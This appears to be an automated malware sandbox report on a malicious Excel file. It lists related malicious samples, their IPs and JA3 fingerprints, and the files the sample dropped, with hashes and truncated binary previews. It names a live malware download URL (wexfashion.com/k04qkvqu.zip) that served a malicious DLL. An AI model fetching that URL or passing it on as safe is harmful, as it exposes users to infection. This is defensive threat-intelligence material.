	https://m365.eu.vadesecure.com/safeproxy/v4?f=xQsVwKRZoQHMcJWN90zqnir6G6pZJkmZJBUJoNEfoN5w0NIk94-OeCH1NldcAqKsz75KalR9dIZlPCJr1Ux0xQ&i=dKwbScfh0hAXC0Inkkq0sM5FeXPK9I7Ny4D2nAPOiEibKJwP2etJDqX8WzAoEu0mklzE6wT-r8I8OtTRdIg8Sg&k=EPqM&r=_vxI1MPLJP9RjHYc6dmEH2aQYLnm7iSEcU9gx_WNg2_vrJo8MeAqNzNCqHX9DNrQ&s=dbc75c7ed54466f34eeae3fd3b1612b20fb815efc99933570f78acd79467623c&u=https%3A%2F%2Femail.utest.com%2Fls%2Fclick%3Fupn%3DlGjzeq3i4yih7CYyWDD2uGWEioaO303Ya1CTzgGY6ZFHmgV-2FF-2FEWXdAYvLiLIvET2r-2BfuQ5qIL56xFMZkA-2F-2BXKhuWb2hSemZwMxFmG0rDjjP9tlrcROzWmQSAh2kMQamb79I1cx4-2Fvjhww3n8oZQi-2FnOhlQdbGdNxKrX28q7P-2FPufa0AAvr-2FvNJcD-2FrxpMHjDG9dPJU0WEGqi12uVZQLCz-2BjYAJF5yCzK-2FjUezEn2d6sv-2BTETl96ejjfG9yQ2VbdWqGp_snpiKdUCY2bDrEnMsWMAnz6f3HkWPd0oUIj3WsKz0V4NahNEm-2BJ9rDW2-2Fib8wsclxoRuHsrv-2B0aoCVw0ftXwGZJTPgQ4k6DZXQjAqFeejOYe-2FRbaSc1Yf5Xj5PUa6lKqmFYNWSkevePONwyMaBGxV4NDGtgMbAc7jyOEWYDUniHPiY87Lpiw631423FED14OvXIfrL7S45QvDvK6-2Fc04r-2B65lMxyCebYSr-2FOr4bCpGQ-3D	Get hash	malicious	Browse	104.18.10.39
	https://email.utest.com/ls/click?upn=kHi9kJ2VFJGMl00Uc0lXdd7WKRMGsOIU4g4ei1d-2FX5m1QA-2FrT8Vl5L3Fk3cMytK6G9se1iMMnmCZDn1xIdrYiQ1p-2FwcQpvha0Cl5oPF0v81y5hgAsim7OqaA63T8LZn1UUJIEgydRUHiWwDj8GYDCxqGnV0O0rI4O7I6kSKWwA2QN6GRUB5jtLYkPnKAtjOoUgEhfuSimn9pHS78TURJ3gh4c37fJ5SLcFsdSMlL5cSNM599TAmyU83RYL5vT6LiS59Z_K8t8bbLaByOBk98eoL7OiHjGcOStuW9cK4Z47GjL3LOg6J63-2FMkWRpNoPmcLIu18HCMEgODcyx-2FUvVhPVIvmHjzJiqJBCjoeBbWoJaKrxsvgnkh140XYi8oSb4fB3DPwhOq9ho1ZQ40V7Ij7E76nndroD8i7Zx6K9k23tLqOPU-2BI4uv4B0Gy5ZNEnpZd7wg2RXwXNiQ76annNuw-2BlzoA5-2FGihgJE5sZwqDaPnA1XR7c-3D	Get hash	malicious	Browse	104.18.10.39
	Vessel details.doc	Get hash	malicious	Browse	104.18.11.39

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GD-EMEA-DC-SXB1DE	HkNkyKl3uT.dll	Get hash	malicious	Browse	80.86.91.27
	ceepq536n.zip.dll	Get hash	malicious	Browse	80.86.91.27
	sample20210111-01.xlsm	Get hash	malicious	Browse	80.86.91.27
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	80.86.91.27
	hiytvys.dll	Get hash	malicious	Browse	80.86.91.27
	l7rgi3xyd.dll	Get hash	malicious	Browse	80.86.91.27
	ymuyks.dll	Get hash	malicious	Browse	80.86.91.27
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	80.86.91.27
	hy9x6wzip.dll	Get hash	malicious	Browse	80.86.91.27
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	80.86.91.27
	jufk0vrar.dll	Get hash	malicious	Browse	80.86.91.27
	s3CRQNulKZ.exe	Get hash	malicious	Browse	217.172.179.54
	DFR2154747.vbe	Get hash	malicious	Browse	85.25.93.233
	r8a97.exe	Get hash	malicious	Browse	62.75.168.106
	NKsplucdAu.exe	Get hash	malicious	Browse	217.172.179.54
	lZVNh1BPxm.exe	Get hash	malicious	Browse	217.172.179.54
	qG5E4q8Cv5.exe	Get hash	malicious	Browse	217.172.179.54
	SecuriteInfo.com.BehavesLike.Win32.Generic.cc.exe	Get hash	malicious	Browse	217.172.179.54
	990109.exe	Get hash	malicious	Browse	87.230.93.218
	og0gax.dll	Get hash	malicious	Browse	62.138.14.216
OVHFR	HkNkyKl3uT.dll	Get hash	malicious	Browse	46.105.131.65
	Doc_74657456348374.xlsx	Get hash	malicious	Browse	149.202.23.211
	ceepq536n.zip.dll	Get hash	malicious	Browse	46.105.131.65
	sample20210111-01.xlsm	Get hash	malicious	Browse	46.105.131.65
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	46.105.131.65
	sfk_setup.exe	Get hash	malicious	Browse	54.39.133.136
	hiytvys.dll	Get hash	malicious	Browse	46.105.131.65
	l7rgi3xyd.dll	Get hash	malicious	Browse	46.105.131.65
	ymuyks.dll	Get hash	malicious	Browse	46.105.131.65
	Client.vbs	Get hash	malicious	Browse	92.222.182.237
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	46.105.131.65
	hy9x6wzip.dll	Get hash	malicious	Browse	46.105.131.65
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	46.105.131.65
	jufk0vrar.dll	Get hash	malicious	Browse	46.105.131.65
	Pioneercon Project Contract.exe	Get hash	malicious	Browse	51.195.53.221
	Outstanding Payments.exe	Get hash	malicious	Browse	51.195.53.221
	Quw3X5oAwe.exe	Get hash	malicious	Browse	51.83.208.157
	H56P7iDwnJ.doc	Get hash	malicious	Browse	142.44.230.78
	11998704458248.exe	Get hash	malicious	Browse	54.37.160.157
	Test.HTM	Get hash	malicious	Browse	145.239.131.60
SENTIANL	HkNkyKl3uT.dll	Get hash	malicious	Browse	5.100.228.233
	ceepq536n.zip.dll	Get hash	malicious	Browse	5.100.228.233
	sample20210111-01.xlsm	Get hash	malicious	Browse	5.100.228.233
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	5.100.228.233
	hiytvys.dll	Get hash	malicious	Browse	5.100.228.233
	l7rgi3xyd.dll	Get hash	malicious	Browse	5.100.228.233
	ymuyks.dll	Get hash	malicious	Browse	5.100.228.233
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	5.100.228.233
	hy9x6wzip.dll	Get hash	malicious	Browse	5.100.228.233
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	5.100.228.233
	jufk0vrar.dll	Get hash	malicious	Browse	5.100.228.233
	anthon.exe	Get hash	malicious	Browse	145.131.21.142
	baf6b9fcec491619b45c1dd7db56ad3d.exe	Get hash	malicious	Browse	91.216.141.46
	p8LV1eVFyO.exe	Get hash	malicious	Browse	91.216.141.46
	IQtvZjIdhN.exe	Get hash	malicious	Browse	91.216.141.46
	148wWoi8vI.exe	Get hash	malicious	Browse	91.216.141.46
	plusnew.exe	Get hash	malicious	Browse	145.131.29.142
	List-20200731-79226.doc	Get hash	malicious	Browse	5.100.228.16
	LIST-20200731-88494.doc	Get hash	malicious	Browse	5.100.228.16
	Rep_20200731.doc	Get hash	malicious	Browse	5.100.228.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
eb88d0b3e1961a0562f006e5ce2a0b87	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	77.220.64.37
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	77.220.64.37
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	77.220.64.37
	Document74269.xls	Get hash	malicious	Browse	77.220.64.37
	Document74269.xls	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xls	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	1-Total New Invoices Monday Dec 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	SecuriteInfo.com.Heur.15645.xlsm	Get hash	malicious	Browse	77.220.64.37
	Statement_1857_of_12_09_2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	Statement_9505_of_12_09_2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	MSC printouts of outstanding as of 73221_12_09_2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	Invoice.29002611.doc	Get hash	malicious	Browse	77.220.64.37
	MSC printouts of outstanding as of 64338_12_09_2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	MSC printouts of outstanding as of 41705_12_09_2020.xlsm	Get hash	malicious	Browse	77.220.64.37
	printouts of outstanding as of 27212_12_11_2020.xlsm	Get hash	malicious	Browse	77.220.64.37

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC Download File
Process:	C:\Windows\System32\DWWIN.EXE
File Type:	data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	7.367371959019618
Encrypted:	false
SSDEEP:	24:c0oGlGm7qGlGd7SK1tcudP5M/C0VQYyL4R3fum:+JnJ17tcudRMq6QsF
MD5:	E4A68AC854AC5242460AFD72481B2A44
SHA1:	DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
SHA-256:	CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F
SHA-512:	5622207E1BA285F172756F6019AF92AC808ED63286E24DFECC1E79873FB5D140F1CEB7133F2476E89A5F75F711F9813A9FBB8FD5287F64ADFDCC53B864F9BDC5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0...0..v........:......(d.....0....H........0a1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...130801120000Z..380115120000Z0a1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20.."0....H.............0.........7.4.{k.h..Ju.F.!.....T......:..<z...k.-.^.$D.b.~..~.Tu ..P..c.l0.............7...CN.{,.../..:...%.k.`.`.O!I..g..a......2k..W.].......I.5-..Im.w..IK..U......#.LmE.....0..LU.'JW.\|...s...J...P.......!..........g(.s..=Fv...!4M..E..I.....3.).......B0@0...U.......0....0...U...........0...U......N"T ....n..........90....H.............`g(.o.Hc.1..g..}<.J...+.._sw2.9.gB.#.Eg5....a.4.. L....5.v..B..D...6t$Z.l..Y5..I....G=./.\... ._SF..h...0.>1.....>5.._..pPpGA.W.N......./.%.u...o..Aq...O. U...E..D..2...SF.,...".K..E....X..}R..YC....&.o....7}.....w_v.<..]V[..fn.57.2.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC Download File
Process:	C:\Windows\System32\DWWIN.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.062651630993698
Encrypted:	false
SSDEEP:	6:kKKLDKVIbjcalgRAOAUSW0zeEpV1Ew1OXISMlcV/:CLutWOxSW0zeYrsMlU/
MD5:	EC88C03D6E1EB7B23DCB08444B01283D
SHA1:	71F62BEAD0E3E6B8EAFAD73D3602E036389EB285
SHA-256:	A1777183381435728481E8341BE54FDFF04A4BDA6BB64E569FC379167E4AC8D4
SHA-512:	35D83A583E9956BA23F29900C51CB6F88D6D5743B98C43DAFC85428C458EF7F33D675DAB86FA122688942FC1D6A2F93BD358F51B48DA50CAF1EF03FF1D8CFA07
Malicious:	false
Reputation:	low
Preview:	p...... ....j......&....(....................................................... ............n...u..................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.G.l.o.b.a.l.R.o.o.t.G.2...c.r.t...".5.a.2.8.6.4.1.7.-.3.9.2."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.1231869637929037
Encrypted:	false
SSDEEP:	6:kKinwwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:pkPlE99SNxAhUegeT2
MD5:	F24E45B5BC58337728355A1FA04DFBB1
SHA1:	1F1914527C128D6A3F66B347FF80ACFC9F3F34A0
SHA-256:	6CF7266DF387019A41C0CAF8C6CAA49A5434577C57134A704801477E8172DD62
SHA-512:	F963ADA7D5F449655710F11E89A4B599AD7BFAD5FC2F6400A4DE7B95E8C4C1D1BA47D691D5CC1E96D007863E4396D506FA5DD2CD0489495241112974142625CF
Malicious:	false
Reputation:	low
Preview:	p...... ...............(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	318976
Entropy (8bit):	7.120104121741336
Encrypted:	false
SSDEEP:	6144:5HdO040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B918juwUX:RdO02Srnh0qEJC+Y218jdU
MD5:	F317BDF94E5306AC0B02EDE9A263E36C
SHA1:	073D7B5C5896A2974C454A9BC21B097C19E8AFB3
SHA-256:	D5CF6F2148848F36D4A55BBC791372189EDFFB6326D8A0BB9B8743FD25BF0C8F
SHA-512:	A26EDB19B9D7FDA69DB767B20A08DD769F760115CC668494B18ACED009FE1B9D4DF0D5A2D0B94F1B13D808E461A4B7C19527EA3D6C61C9B5D17DF5263E78193F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://wexfashion.com/k04qkvqu.zip
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......_...........!...2.z...`.......&.......@...............................@..........................................................\|....................0..P....................................................................................text....$.......&.................. ..`.rdata.......@.......*..............@..@.rdata3......P.......,..............@..@.2...........`.......0..............@..@.rdata2.F....p.......2..............@..@.data...`............4..............@....text4...R.......T...P.............. ..@.rsrc...\|........0..................@..@.reloc..P....0......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F562CE8.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 363 x 234, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2653
Entropy (8bit):	7.818766151665501
Encrypted:	false
SSDEEP:	48:EMJaE2jR4jEJ/ff6nMVNzNzHuuQoCpMTjOWhXP4/3dlsIfnaedCByM9x:VkjR4j6Hf6nGOWXPe/v3k/9x
MD5:	30D3FFA1E30B519FD9B1B839CC65C7BE
SHA1:	1EB0F0E160FF7440223A7FE46F08B503F03D3AFB
SHA-256:	89A25BF794658FD3FABB1F042BCC283497B78E0A94098188F2DED7587B0CA3DC
SHA-512:	88E3ABDADCBD7F308FCAED390A033F09208EAAD4053FE69DAA274CC14DD2BC815B4D63725C1EFEF3C592C1DEDE22A555DBF5303C096839F8338B2F6C9E0A3C50
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...k.........S.......tEXtSoftware.Adobe ImageReadyq.e<....PLTE.........KIK..................IDATx...b.0.E-......`.Y..~f.$.h...,..H..CLg.x<.h..k..k..k..k..k..k..k........:....$F...........E.....t.c?.~...q?.....!F....)<#$.l.......`..f.......;.......D]M.~..s.....h.}`.&{..X2.6.....s.;3>..o....0zn...])..8..;..rA..6..Xn"R..a.Bw..M....tw..mE.w....>....].._v...z...H.y..8{)Z...gu.C~.3...>]o..>_.F/....._7nt...c...n..lu..g..@......I...=.........?.9...."..Rc..b..lf.f..l.....#4...Fw.A{...&N.Z.'..2.;.?.h.\|..eZf..`..`..`..`......O..m.>n.-fS.........R...q.....F..D.....w...e..x.H.?.C........;.o!.)....@G..y..EY...5.>...'.}..4(..Aj)d.Pk....7vG........,G..RZ.#F...K.<.....'j...^r.(......"......FHN.D4.j.y..wJ_...H2.....lN....?.V?...z.K.......M..F... ..t...053..:..0.~.S-.30..'...Q..et..=...5.q.Ko..Y#...H.~...C..CLi.83..6_..B.DC..>?.]..fGo..X0}C.\|.@B..AJ.s.x...n..[.#WE....F.gv..i}..f}.....qG...G.O4....w6.x.L.J.......^._o:Za}..{.x.....F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\88DFF5C3.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	2.270567557934206
Encrypted:	false
SSDEEP:	12:YnLmlzslqWuMap0Fol9l+EeQpN4lZsrBKlQzKlsl0u17u1DtDAcqitLMk+QCeJHo:Ync9640CXV34gNqXK7KhDDYB
MD5:	40550DC2F9D56285FA529159B8F2C6A5
SHA1:	DD81D41D283D2881BEC77E00D773C7E8C0744DA3
SHA-256:	DA935E8D60E93E41BCD7C3FBB1750EF3AC471C3AF78AFC8945DFBF31EB54A1E1
SHA-512:	FC354E4F37C9E1BA07DFC756F56A1ABE6A75230DEF908F34E43D35618B113A532E5B7C640F5B14BF75AC31003D8C66E06BA37A004E9357BF7896BD944A0514A0
Malicious:	false
Preview:	....l................................... EMF........).......................`...1........................\|..F...........GDIC........L0.U......................................................................................................iii.......-.....................-.....................-.....................-.....................-.........!...............'...........................-.........!.........................$.............................-...............'.................$.............................-...............'.......................................................................................!...............................!...............................'...............iii.....%...........'.......................%...........'.......................%...........'.......................%...........'.......................%...........L...d...................................!..............?...........?................................"...........!...................

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_EXCEL.EXE_6f227b18f49da44a2d1889aa10939f535bdc_0b90bebe\Report.wer Download File
Process:	C:\Windows\System32\DWWIN.EXE
File Type:	data
Category:	dropped
Size (bytes):	15904
Entropy (8bit):	3.720171397288092
Encrypted:	false
SSDEEP:	96:LiBakNZESI/fQ5QXI4izw+HbngICZgpYT1uPoGl9uyEYcbkMIbFY7UGQIiTOB1rO:NBKzFCEuhTlyZVa6LVaJa5GG
MD5:	C0FDF878DDBA23452C0522DD98898423
SHA1:	DEE79D22CB59614E14338A70745A6F5FDFC3C0AB
SHA-256:	8BDF926423D889E70675B75B632C0614401BCF7BBF21D9345EC76605DF4C2ED0
SHA-512:	23A08824D947FBFB129398299FAE440FE560C66DB5BD299DD95BF3027728817E4F6D4E1982360957BB5578887E943B9BE95BDA37EBEF5C6872E92F84FB81DD3D
Malicious:	false
Preview:	V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.4.9.0.0.4.8.2.0.7.4.6.9.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.5.4.9.0.0.4.9.9.0.7.8.7.2.7.7.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.3.e.6.e.a.1.-.5.4.9.1.-.1.1.e.b.-.a.d.c.f.-.e.c.f.4.b.b.b.5.9.1.5.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.3.e.6.e.a.0.-.5.4.9.1.-.1.1.e.b.-.a.d.c.f.-.e.c.f.4.b.b.b.5.9.1.5.b.....R.e.s.p.o.n.s.e...B.u.c.k.e.t.I.d.=.3.7.0.1.1.5.9.2.6.1.....R.e.s.p.o.n.s.e...B.u.c.k.e.t.T.a.b.l.e.=.3.8.0.7.0.7.5.2.5.....R.e.s.p.o.n.s.e...t.y.p.e.=.4.....S.i.g.[.0.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .N.a.m.e.....S.i.g.[.0.]...V.a.l.u.e.=.E.X.C.E.L...E.X.E.....S.i.g.[.1.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .V.e.r.s.i.o.n.....S.i.g.[.1.]...V.a.l.u.e.=.1.4...0...7.0.1.5...1.0.0.0.....S.i.g.[.2.]...N.a.m.e.=.A.p.p.l.i.c.a.t.i.o.n. .T.i.m.e.s.t.a.m.p.....S.i.g.[.2.]...V.a.l.u.e.=.5.1.c.c.a.7.c.d.....S.i.g.[.3.]...N.a.m.

C:\Users\user\AppData\Local\Temp\93EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	58702
Entropy (8bit):	7.858362652853985
Encrypted:	false
SSDEEP:	1536:hq8RzggbLmCf6646CIKtzjM5jeEXxFVnsLNFqtM:hD1rmCM28jXEX/Vn+MM
MD5:	8AC68DDB24B06F63E7DE6A63F7C0ADA4
SHA1:	A5548CED2ECF287CCACB01BB58359DA34D93BB50
SHA-256:	2755A1EF910C69828EEC69EE0D918DB19B8A9B359EA8D8B536700C09CFDDB917
SHA-512:	2E4B345D5771C42BB3B26377A2B83EB36625F2C5B4547AC8827A23EFD05BFFD35E122788CC8F9C1736B803B99A2AB82189B0A4EB795E9FB9BD857A294AFF78E6
Malicious:	false
Preview:	...n.0.E.......H...(,g..6@S.[......(..w(9...a....u..q...........+R..N....o.gR....Y..."....~<z...m..>%...(.`x..........\..........&..L.l.wP.'.......l.%........^+.....+/ ..k%@:.d.F....HFS....OH.....2..]0..1....0...-..&......\|_;.....W>~......x..u.n.....+.....(.....;7..Y.....s.:.e..XB+@..3R.Ep..o5..W...#...N.Yw.Y.\|U.`rBK)o.dz..g.H.{...k........t.....4.m...3d...N..?.........N.k.....DO....A..b...-.....D.....q..8..,../#..K.F.......3...r..q... ..;.6........PK..........!.........*.......[Content_Types].xml ...(...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\993414.cvr Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1392
Entropy (8bit):	3.2493177971203697
Encrypted:	false
SSDEEP:	24:zll/jUzQq3083f3V/Vl/8Ck6H0g6z4/HNwMNK1PjMZd4RXTdG/ntEFAlYJFBB:zll/YZ308v3mCk/8/H/KoP4hMt4PB
MD5:	82E6FCED0AF2D4CB647F0BC81154E36A
SHA1:	3E70CFBF4A0E9B101A5F9829EF31EB4EDF4B8DBF
SHA-256:	109B7A17C0768291069E87C8803DF4D43E30E8DEB25F22EAA9303999AE8D558B
SHA-512:	9C1AA7D7DDF9D4308061DB49C4DE0542F83FB4EA148ECD6FAC21135CA7978AEA9E0DA1BBA3C8E695816C2B3BA1460919A4F1677059BF910EE3748600F9BD2469
Malicious:	false
Preview:	MSQMx.........Q................g.........................W..........................................................................................`......EXCE........................................5...g.......;...........<...........A...........l...........................z...........................................................................................................................H.......................................b...........N...................YE..C...........F...........Q...........W.......j%...........%..............................................................+...........0...........:...........;...................r...........................................................(...........(.... ......i...:!..........n"...........".......%...".......%...".......%...".......%...".......%...".......%..7#..........?...t...(.......t...(...............................<...B............$../....................D../.......................$...$............$..n370.....D..

C:\Users\user\AppData\Local\Temp\Cab8641.tmp Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	241332
Entropy (8bit):	4.206800191309377
Encrypted:	false
SSDEEP:	1536:cGBLEQNSk8SCtKBX0Gpb2vxKHnVMOkOX0mRO/NIAIQK7viKAJYsA0ppDCLTfMRsi:cUNNSk8DtKBrpb2vxrOpprf/nVq
MD5:	B5792839FFCDE087027D5A547980D113
SHA1:	123E5064754F793DD092351716FE63ADC710C850
SHA-256:	9695E46F2FD6AA383F55D5775646FEC330F16D4F0F9A3EC5DE8DB7E5F5922DAF
SHA-512:	006AFBF1F6F901CEC158587822079D3F63B91FF9610F8B085694197EA649CA4C03AE60C2B0E039BB0DC6BFF6F2BB043755FB608F76FFE2ED9048ACC0CB001BEF
Malicious:	false
Preview:	MSFT................Q................................$......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................H...4............................................................................x...I..............T............ ..P........................... 